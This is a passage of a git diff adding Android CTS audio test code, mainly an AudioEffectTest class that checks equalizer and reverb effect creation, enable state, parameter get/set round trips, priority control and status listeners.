+        AudioDeviceInfo.TYPE_BLE_HEADSET,
+        AudioDeviceInfo.TYPE_BLE_SPEAKER)
+            .collect(Collectors.toCollection(HashSet::new));
+
+    private static int MAX_TYPE;
+    private static int MIN_TYPE;
+    {
+        int maxType = Integer.MIN_VALUE;
+        int minType = Integer.MAX_VALUE;
+        for (int type : INPUT_TYPES) {
+            minType = Integer.min(minType, type);
+            maxType = Integer.max(maxType, type);
+        }
+        for (int type : OUTPUT_TYPES) {
+            minType = Integer.min(minType, type);
+            maxType = Integer.max(maxType, type);
+        }
+        MIN_TYPE = minType;
+        MAX_TYPE = maxType;
+    }
+
+    /**
+     * Ensure no regression on accepted input device types.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testDeviceTypeIn() throws Exception {
+        for (int type : INPUT_TYPES) {
+            // throws IllegalArgumentException on failure
+            AudioDeviceInfo.enforceValidAudioDeviceTypeIn(type);
+        }
+    }
+
+    /**
+     * Ensure no regression on accepted output device types.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testDeviceTypeOut() throws Exception {
+        for (int type : OUTPUT_TYPES) {
+            // throws IllegalArgumentException on failure
+            AudioDeviceInfo.enforceValidAudioDeviceTypeOut(type);
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioEffectTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioEffectTest.java
new file mode 100644
index 0000000..392bf20
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioEffectTest.java
@@ -0,0 +1,1061 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audio.cts.R;
+
+import android.content.res.AssetFileDescriptor;
+import android.media.audiofx.AudioEffect;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioRecord;
+import android.media.AudioTrack;
+import android.media.audiofx.PresetReverb;
+import android.media.audiofx.EnvironmentalReverb;
+import android.media.audiofx.Equalizer;
+import android.media.MediaPlayer;
+import android.media.MediaRecorder;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.PostProcTestBase;
+
+import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import java.util.UUID;
+
+@AppModeFull(reason = "Dynamic congic not supported")
+@NonMediaMainlineTest
+public class AudioEffectTest extends PostProcTestBase {
+
+    private String TAG = "AudioEffectTest";
+    private final static int MIN_NUMBER_EFFECTS = 1;
+    // allow +/- 5% tolerance between set and get delays
+    private final static float DELAY_TOLERANCE = 1.05f;
+    // allow +/- 5% tolerance between set and get ratios
+    private final static float RATIO_TOLERANCE = 1.05f;
+    // AudioRecord sampling rate
+    private final static int SAMPLING_RATE = 44100;
+
+    private final static int MAX_LOOPER_WAIT_COUNT = 10;
+
+    private AudioEffect mEffect = null;
+    private AudioEffect mEffect2 = null;
+    private MediaPlayer mMediaPlayer = null;
+    private int mError = 0;
+
+    private ListenerThread mEffectListenerLooper = null;
+
+    //-----------------------------------------------------------------
+    // AUDIOEFFECT TESTS:
+    //----------------------------------
+
+    @Override
+    protected void tearDown() throws Exception {
+        releaseEffect();
+        terminateMediaPlayerLooper();
+        terminateListenerLooper();
+    }
+
+    //-----------------------------------------------------------------
+    // 0 - static methods
+    //----------------------------------
+
+    //Test case 0.0: test queryEffects() and platfrom at least provides an Equalizer
+    public void test0_0QueryEffects() throws Exception {
+
+        AudioEffect.Descriptor[] desc = AudioEffect.queryEffects();
+
+        assertTrue("test0_0QueryEffects: number of effects < MIN_NUMBER_EFFECTS: "+desc.length,
+                (desc.length >= MIN_NUMBER_EFFECTS));
+
+        boolean hasEQ = false;
+
+        for (int i = 0; i < desc.length; i++) {
+            if (desc[i].type.equals(AudioEffect.EFFECT_TYPE_EQUALIZER)) {
+                hasEQ = true;
+                break;
+            }
+        }
+        assertTrue("test0_0QueryEffects: equalizer not found", hasEQ);
+    }
+
+    //-----------------------------------------------------------------
+    // 1 - constructor
+    //----------------------------------
+
+    private AudioRecord getAudioRecord() {
+        AudioRecord ar = null;
+        try {
+            ar = new AudioRecord(MediaRecorder.AudioSource.DEFAULT,
+                    SAMPLING_RATE,
+                    AudioFormat.CHANNEL_CONFIGURATION_MONO,
+                    AudioFormat.ENCODING_PCM_16BIT,
+                    AudioRecord.getMinBufferSize(SAMPLING_RATE,
+                            AudioFormat.CHANNEL_CONFIGURATION_MONO,
+                            AudioFormat.ENCODING_PCM_16BIT) * 10);
+            assertNotNull("Could not create AudioRecord", ar);
+            assertEquals("AudioRecord not initialized",
+                    AudioRecord.STATE_INITIALIZED, ar.getState());
+        } catch (IllegalArgumentException e) {
+            fail("AudioRecord invalid parameter");
+        }
+        return ar;
+    }
+
+//    // Test case 1.0: test constructor from effect type and get effect ID
+//    public void test1_0ConstructorFromType() ...
+//    Note: This test was removed because it used hidden api's.
+
+
+//    //Test case 1.1: test constructor from effect uuid
+//    public void test1_1ConstructorFromUuid() ...
+//    Note: This test was removed because:
+//     1. will fail in devices that offload effects
+//     2. it used hidden api's.
+
+//    //Test case 1.2: test constructor failure from unknown type
+//    public void test1_2ConstructorUnknownType() ...
+//    Note: This test was removed because it used hidden api's.
+
+    //Test case 1.3: test getEnabled() failure when called on released effect
+    public void test1_3GetEnabledAfterRelease() throws Exception {
+        try {
+            AudioEffect effect = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    0,
+                    0);
+            assertNotNull("could not create AudioEffect", effect);
+            effect.release();
+            try {
+                effect.getEnabled();
+                fail("getEnabled() processed after release()");
+            } catch (IllegalStateException e) {
+
+            }
+        } catch (IllegalArgumentException e) {
+            fail("AudioEffect not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        }
+    }
+
+    //Test case 1.4: test contructor on mediaPlayer audio session
+    public void test1_4InsertOnMediaPlayer() throws Exception {
+        MediaPlayer mp = new MediaPlayer();
+        assertNotNull("could not create mediaplayer", mp);
+        AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(R.raw.testmp3);
+        try {
+            mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } finally {
+            afd.close();
+        }
+        getEffect(AudioEffect.EFFECT_TYPE_EQUALIZER, mp.getAudioSessionId());
+        try {
+            mEffect.setEnabled(true);
+
+        } catch (IllegalStateException e) {
+            fail("AudioEffect not initialized");
+        } finally {
+            mp.release();
+            releaseEffect();
+        }
+    }
+
+    //Test case 1.5: test auxiliary effect attachement on MediaPlayer
+    public void test1_5AuxiliaryOnMediaPlayer() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mInitialized = false;
+            createMediaPlayerLooper();
+            waitForLooperInitialization_l();
+
+            mError = 0;
+            AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(R.raw.testmp3);
+            try {
+                mMediaPlayer.setDataSource(afd.getFileDescriptor(),
+                                           afd.getStartOffset(),
+                                           afd.getLength());
+            } finally {
+                afd.close();
+            }
+            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+            try {
+                try {
+                    mMediaPlayer.attachAuxEffect(mEffect.getId());
+                    mMediaPlayer.setAuxEffectSendLevel(1.0f);
+                    mLock.wait(1000);
+                } catch(Exception e) {
+                    fail("Attach effect: wait was interrupted.");
+                }
+                assertTrue("error on attachAuxEffect", mError == 0);
+            } catch (IllegalStateException e) {
+                fail("attach aux effect failed");
+            } finally {
+                terminateMediaPlayerLooper();
+                releaseEffect();
+            }
+        }
+    }
+
+    //Test case 1.6: test auxiliary effect attachement failure before setDatasource
+    public void test1_6AuxiliaryOnMediaPlayerFailure() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mInitialized = false;
+            createMediaPlayerLooper();
+            waitForLooperInitialization_l();
+
+            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+
+            mError = 0;
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mError == 0 && (looperWaitCount-- > 0)) {
+                try {
+                    try {
+                        mMediaPlayer.attachAuxEffect(mEffect.getId());
+                    } catch (IllegalStateException e) {
+                        terminateMediaPlayerLooper();
+                        releaseEffect();
+                        fail("attach aux effect failed");
+                    }
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            assertTrue("no error on attachAuxEffect", mError != 0);
+        }
+        terminateMediaPlayerLooper();
+        releaseEffect();
+    }
+
+
+    //Test case 1.7: test auxiliary effect attachement on AudioTrack
+    public void test1_7AuxiliaryOnAudioTrack() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        AudioTrack track = null;
+        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+        try {
+            track = new AudioTrack(
+                                AudioManager.STREAM_MUSIC,
+                                44100,
+                                AudioFormat.CHANNEL_OUT_MONO,
+                                AudioFormat.ENCODING_PCM_16BIT,
+                                AudioTrack.getMinBufferSize(44100,
+                                                            AudioFormat.CHANNEL_OUT_MONO,
+                                                            AudioFormat.ENCODING_PCM_16BIT),
+                                                            AudioTrack.MODE_STREAM);
+            assertNotNull("could not create AudioTrack", track);
+
+            int status = track.attachAuxEffect(mEffect.getId());
+            if (status != AudioTrack.SUCCESS) {
+                fail("could not attach aux effect");
+            }
+            status = track.setAuxEffectSendLevel(1.0f);
+            if (status != AudioTrack.SUCCESS) {
+                fail("could not set send level");
+            }
+        } catch (IllegalStateException e) {
+            fail("could not attach aux effect");
+        } catch (IllegalArgumentException e) {
+            fail("could not create AudioTrack");
+        } finally {
+            if (track != null) {
+                track.release();
+            }
+            releaseEffect();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 2 - enable/ disable
+    //----------------------------------
+
+
+    //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    public void test2_0SetEnabledGetEnabled() throws Exception {
+        try {
+            AudioEffect effect = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    0,
+                    0);
+            assertNotNull("could not create AudioEffect", effect);
+            try {
+                effect.setEnabled(true);
+                assertTrue("invalid state from getEnabled", effect.getEnabled());
+                effect.setEnabled(false);
+                assertFalse("invalid state to getEnabled", effect.getEnabled());
+
+            } catch (IllegalStateException e) {
+                fail("setEnabled() in wrong state");
+            } finally {
+                effect.release();
+            }
+        } catch (IllegalArgumentException e) {
+            fail("AudioEffect not found");
+
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        }
+    }
+
+    //Test case 2.1: test setEnabled() throws exception after release
+    public void test2_1SetEnabledAfterRelease() throws Exception {
+        try {
+            AudioEffect effect = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    0,
+                    0);
+            assertNotNull("could not create AudioEffect", effect);
+            effect.release();
+            try {
+                effect.setEnabled(true);
+                fail("setEnabled() processed after release");
+            } catch (IllegalStateException e) {
+                // test passed
+            }
+        } catch (IllegalArgumentException e) {
+            fail("AudioEffect not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 3 - set/get parameters
+    //----------------------------------
+
+    //Test case 3.0: test setParameter(byte[], byte[]) / getParameter(byte[], byte[])
+    public void test3_0SetParameterByteArrayByteArray() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+        try {
+            byte[] param = mEffect.intToByteArray(PresetReverb.PARAM_PRESET);
+            byte[] value = new byte[2];
+            int status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
+            short preset = PresetReverb.PRESET_SMALLROOM;
+            if (mEffect.byteArrayToShort(value) == preset) {
+                preset = PresetReverb.PRESET_MEDIUMROOM;
+            }
+            value = mEffect.shortToByteArray(preset);
+            status = mEffect.setParameter(param, value);
+            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
+            status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
+            assertEquals("get/set Parameter failed", preset,
+                    mEffect.byteArrayToShort(value));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("setParameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("setParameter() called in wrong state");
+        } finally {
+            releaseEffect();
+        }
+    }
+
+    //Test case 3.1: test setParameter(int, int) / getParameter(int, int[])
+    public void test3_1SetParameterIntInt() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getEffect(AudioEffect.EFFECT_TYPE_ENV_REVERB, 0);
+        try {
+            int param = EnvironmentalReverb.PARAM_DECAY_TIME;
+            int[] value = new int[1];
+            int status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
+            int time = 500;
+            if (value[0] == time) {
+                time = 1000;
+            }
+            status = mEffect.setParameter(param, time);
+            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
+            status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
+            assertTrue("got incorrect decay time",
+                    ((float)value[0] > (float)(time / DELAY_TOLERANCE)) &&
+                    ((float)value[0] < (float)(time * DELAY_TOLERANCE)));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("setParameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("setParameter() called in wrong state");
+        } finally {
+            releaseEffect();
+        }
+    }
+
+    //Test case 3.2: test setParameter(int, short) / getParameter(int, short[])
+    public void test3_2SetParameterIntShort() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+        try {
+            int param = PresetReverb.PARAM_PRESET;
+            short[] value = new short[1];
+            int status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
+            short preset = PresetReverb.PRESET_SMALLROOM;
+            if (value[0] == preset) {
+                preset = PresetReverb.PRESET_MEDIUMROOM;
+            }
+            status = mEffect.setParameter(param, preset);
+            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
+            status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
+            assertEquals("get/set Parameter failed", preset, value[0]);
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("setParameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("setParameter() called in wrong state");
+        } finally {
+            releaseEffect();
+        }
+    }
+
+    //Test case 3.3: test setParameter(int, byte[]) / getParameter(int, byte[])
+    public void test3_3SetParameterIntByteArray() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getEffect(AudioEffect.EFFECT_TYPE_ENV_REVERB, 0);
+        try {
+            int param = EnvironmentalReverb.PARAM_DECAY_TIME;
+            byte[] value = new byte[4];
+            int status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
+            int time = 500;
+            if (mEffect.byteArrayToInt(value) == time) {
+                time = 1000;
+            }
+            value = mEffect.intToByteArray(time);
+            status = mEffect.setParameter(param, value);
+            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
+            status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
+            int time2 = mEffect.byteArrayToInt(value);
+            assertTrue("got incorrect decay time",
+                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
+                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("setParameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("setParameter() called in wrong state");
+        } finally {
+            releaseEffect();
+        }
+    }
+
+    //Test case 3.4: test setParameter(int[], int[]) / getParameter(int[], int[])
+    public void test3_4SetParameterIntArrayIntArray() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getEffect(AudioEffect.EFFECT_TYPE_ENV_REVERB, 0);
+        try {
+            int[] param = new int[1];
+            int[] value = new int[1];
+            param[0] = EnvironmentalReverb.PARAM_DECAY_TIME;
+            int status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
+            int[] time = new int[1];
+            time[0] = 500;
+            if (value[0] == time[0]) {
+                time[0] = 1000;
+            }
+            status = mEffect.setParameter(param, time);
+            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
+            status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
+            assertTrue("got incorrect decay time",
+                    ((float)value[0] > (float)(time[0] / DELAY_TOLERANCE)) &&
+                    ((float)value[0] < (float)(time[0] * DELAY_TOLERANCE)));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("setParameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("setParameter() called in wrong state");
+        } finally {
+            releaseEffect();
+        }
+    }
+
+    //Test case 3.5: test setParameter(int[], short[]) / getParameter(int[], short[])
+
+    public void test3_5SetParameterIntArrayShortArray() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+        try {
+            int[] param = new int[1];
+            param[0] = PresetReverb.PARAM_PRESET;
+            short[] value = new short[1];
+            int status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
+            short[] preset = new short[1];
+            preset[0] = PresetReverb.PRESET_SMALLROOM;
+            if (value[0] == preset[0]) {
+                preset[0] = PresetReverb.PRESET_MEDIUMROOM;
+            }
+            status = mEffect.setParameter(param, preset);
+            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
+            status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
+            assertEquals("get/set Parameter failed", preset[0], value[0]);
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("setParameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("setParameter() called in wrong state");
+        } finally {
+            releaseEffect();
+        }
+    }
+
+    //Test case 3.6: test setParameter(int[], byte[]) / getParameter(int[], byte[])
+    public void test3_6SetParameterIntArrayByteArray() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getEffect(AudioEffect.EFFECT_TYPE_ENV_REVERB, 0);
+        try {
+            int[] param = new int[1];
+            param[0] = EnvironmentalReverb.PARAM_DECAY_TIME;
+            byte[] value = new byte[4];
+            int status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
+            int time = 500;
+            if (mEffect.byteArrayToInt(value) == time) {
+                time = 1000;
+            }
+
+            status = mEffect.setParameter(param, mEffect.intToByteArray(time));
+            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
+            status = mEffect.getParameter(param, value);
+            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
+            int time2 = mEffect.byteArrayToInt(value);
+            assertTrue("got incorrect decay time",
+                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
+                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("setParameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("setParameter() called in wrong state");
+        } finally {
+            releaseEffect();
+        }
+    }
+
+    //Test case 3.7: test setParameter() throws exception after release()
+    public void test3_7SetParameterAfterRelease() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        AudioEffect effect = null;
+        try {
+            effect = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
+                                    AudioEffect.EFFECT_TYPE_NULL,
+                                    0,
+                                    0);
+            assertNotNull("could not create AudioEffect", effect);
+            effect.release();
+            effect.setParameter(PresetReverb.PARAM_PRESET, PresetReverb.PRESET_SMALLROOM);
+            fail("setParameter() processed after release");
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("setParameter() rejected");
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            if (effect != null) {
+                effect.release();
+            }
+        }
+    }
+
+    //Test case 3.8: test getParameter() throws exception after release()
+    public void test3_8GetParameterAfterRelease() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        AudioEffect effect = null;
+        try {
+            effect = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
+                                    AudioEffect.EFFECT_TYPE_NULL,
+                                    0,
+                                    0);
+            assertNotNull("could not create AudioEffect", effect);
+            effect.release();
+            short[] value = new short[1];
+            effect.getParameter(PresetReverb.PARAM_PRESET, value);
+            fail("getParameter() processed after release");
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("getParameter() rejected");
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            if (effect != null) {
+                effect.release();
+            }
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 4 priority and listeners
+    //----------------------------------
+
+    //Test case 4.0: test control passed to higher priority client
+    public void test4_0setEnabledLowerPriority() throws Exception {
+        AudioEffect effect1 = null;
+        AudioEffect effect2 = null;
+        try {
+            effect1 = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
+                                    AudioEffect.EFFECT_TYPE_NULL,
+                                    0,
+                                    0);
+            effect2 = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    1,
+                    0);
+
+            assertNotNull("could not create AudioEffect", effect1);
+            assertNotNull("could not create AudioEffect", effect2);
+
+            assertTrue("Effect2 does not have control", effect2.hasControl());
+            assertFalse("Effect1 has control", effect1.hasControl());
+            assertTrue("Effect1 can enable",
+                    effect1.setEnabled(true) == AudioEffect.ERROR_INVALID_OPERATION);
+            assertFalse("Effect1 has enabled", effect2.getEnabled());
+
+        } catch (IllegalArgumentException e) {
+            fail("Effect not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } finally {
+            if (effect1 != null) {
+                effect1.release();
+            }
+            if (effect2 != null) {
+                effect2.release();
+            }
+        }
+    }
+
+    //Test case 4.1: test control passed to higher priority client
+    public void test4_1setParameterLowerPriority() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        AudioEffect effect1 = null;
+        AudioEffect effect2 = null;
+        try {
+            effect1 = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
+                                    AudioEffect.EFFECT_TYPE_NULL,
+                                    0,
+                                    0);
+            effect2 = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    1,
+                    0);
+
+            assertNotNull("could not create AudioEffect", effect1);
+            assertNotNull("could not create AudioEffect", effect2);
+
+            int status = effect2.setParameter(PresetReverb.PARAM_PRESET,
+                    PresetReverb.PRESET_SMALLROOM);
+            assertEquals("Effect2 setParameter failed",
+                    AudioEffect.SUCCESS, status);
+
+            status = effect1.setParameter(PresetReverb.PARAM_PRESET,
+                    PresetReverb.PRESET_MEDIUMROOM);
+            assertEquals("Effect1 setParameter did not fail",
+                    AudioEffect.ERROR_INVALID_OPERATION, status);
+
+            short[] value = new short[1];
+            status = effect2.getParameter(PresetReverb.PARAM_PRESET, value);
+            assertFalse("Effect2 getParameter failed",
+                    AudioEffect.isError(status));
+            assertEquals("Effect1 changed parameter", PresetReverb.PRESET_SMALLROOM
+                    , value[0]);
+
+
+        } catch (IllegalArgumentException e) {
+            fail("Effect not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } finally {
+            if (effect1 != null) {
+                effect1.release();
+            }
+            if (effect2 != null) {
+                effect2.release();
+            }
+        }
+    }
+
+    //Test case 4.2: test control status listener
+    public void test4_2ControlStatusListener() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mHasControl = true;
+            mInitialized = false;
+            createListenerLooper(true, false, false);
+            waitForLooperInitialization_l();
+
+            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mHasControl && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseEffect();
+        }
+        assertFalse("effect control not lost by effect1", mHasControl);
+    }
+
+    //Test case 4.3: test enable status listener
+    public void test4_3EnableStatusListener() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, true, false);
+            waitForLooperInitialization_l();
+
+            mEffect2.setEnabled(true);
+            mIsEnabled = true;
+
+            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+            assertTrue("effect not enabled", mEffect.getEnabled());
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mIsEnabled && (looperWaitCount-- > 0)) {
+                try {
+                    mEffect.setEnabled(false);
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseEffect();
+        }
+        assertFalse("enable status not updated", mIsEnabled);
+    }
+
+    //Test case 4.4: test parameter changed listener
+    public void test4_4ParameterChangedListener() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, false, true);
+            waitForLooperInitialization_l();
+            int status = mEffect2.setParameter(PresetReverb.PARAM_PRESET,
+                    PresetReverb.PRESET_SMALLROOM);
+            assertEquals("mEffect2 setParameter failed",
+                    AudioEffect.SUCCESS, status);
+            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+            mChangedParameter = -1;
+            mEffect.setParameter(PresetReverb.PARAM_PRESET,
+                    PresetReverb.PRESET_MEDIUMROOM);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mChangedParameter == -1 && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseEffect();
+        }
+        assertEquals("parameter change not received",
+                PresetReverb.PARAM_PRESET, mChangedParameter);
+    }
+
+    //-----------------------------------------------------------------
+    // 5 command method
+    //----------------------------------
+
+
+    //Test case 5.0: test command method
+    public void test5_0Command() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
+        try {
+            byte[] cmd = new byte[0];
+            byte[] reply = new byte[4];
+            // command 3 is ENABLE
+            int status = mEffect.command(3, cmd, reply);
+            assertFalse("command failed", AudioEffect.isError(status));
+            assertTrue("effect not enabled", mEffect.getEnabled());
+
+        } catch (IllegalStateException e) {
+            fail("command in illegal state");
+        } finally {
+            releaseEffect();
+        }
+    }
+
+
+    //-----------------------------------------------------------------
+    // private methods
+    //----------------------------------
+
+    private void getEffect(UUID type, int session) {
+         if (mEffect == null || session != mSession) {
+             if (session != mSession && mEffect != null) {
+                 mEffect.release();
+                 mEffect = null;
+             }
+             try {
+                 mEffect = new AudioEffect(type,
+                                             AudioEffect.EFFECT_TYPE_NULL,
+                                             0,
+                                             session);
+                 mSession = session;
+            } catch (IllegalArgumentException e) {
+                Log.e(TAG, "getEffect() AudioEffect not found exception: "+e);
+            } catch (UnsupportedOperationException e) {
+                Log.e(TAG, "getEffect() Effect library not loaded exception: "+e);
+            }
+         }
+         assertNotNull("could not create mEffect", mEffect);
+    }
+
+    private void releaseEffect() {
+        if (mEffect != null) {
+            mEffect.release();
+            mEffect = null;
+        }
+    }
+
+    private void waitForLooperInitialization_l() {
+        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+        while (!mInitialized && (looperWaitCount-- > 0)) {
+            try {
+                mLock.wait();
+            } catch(Exception e) {
+            }
+        }
+        assertTrue(mInitialized);
+    }
+
+    // Initializes the equalizer listener looper
+    class ListenerThread extends Thread {
+        boolean mControl;
+        boolean mEnable;
+        boolean mParameter;
+
+        public ListenerThread(boolean control, boolean enable, boolean parameter) {
+            super();
+            mControl = control;
+            mEnable = enable;
+            mParameter = parameter;
+        }
+
+        public void cleanUp() {
+            if (mEffect2 != null) {
+                mEffect2.setControlStatusListener(null);
+                mEffect2.setEnableStatusListener(null);
+                mEffect2.setParameterListener(null);
+            }
+        }
+    }
+
+    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
+        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
+            @Override
+            public void run() {
+                // Set up a looper
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
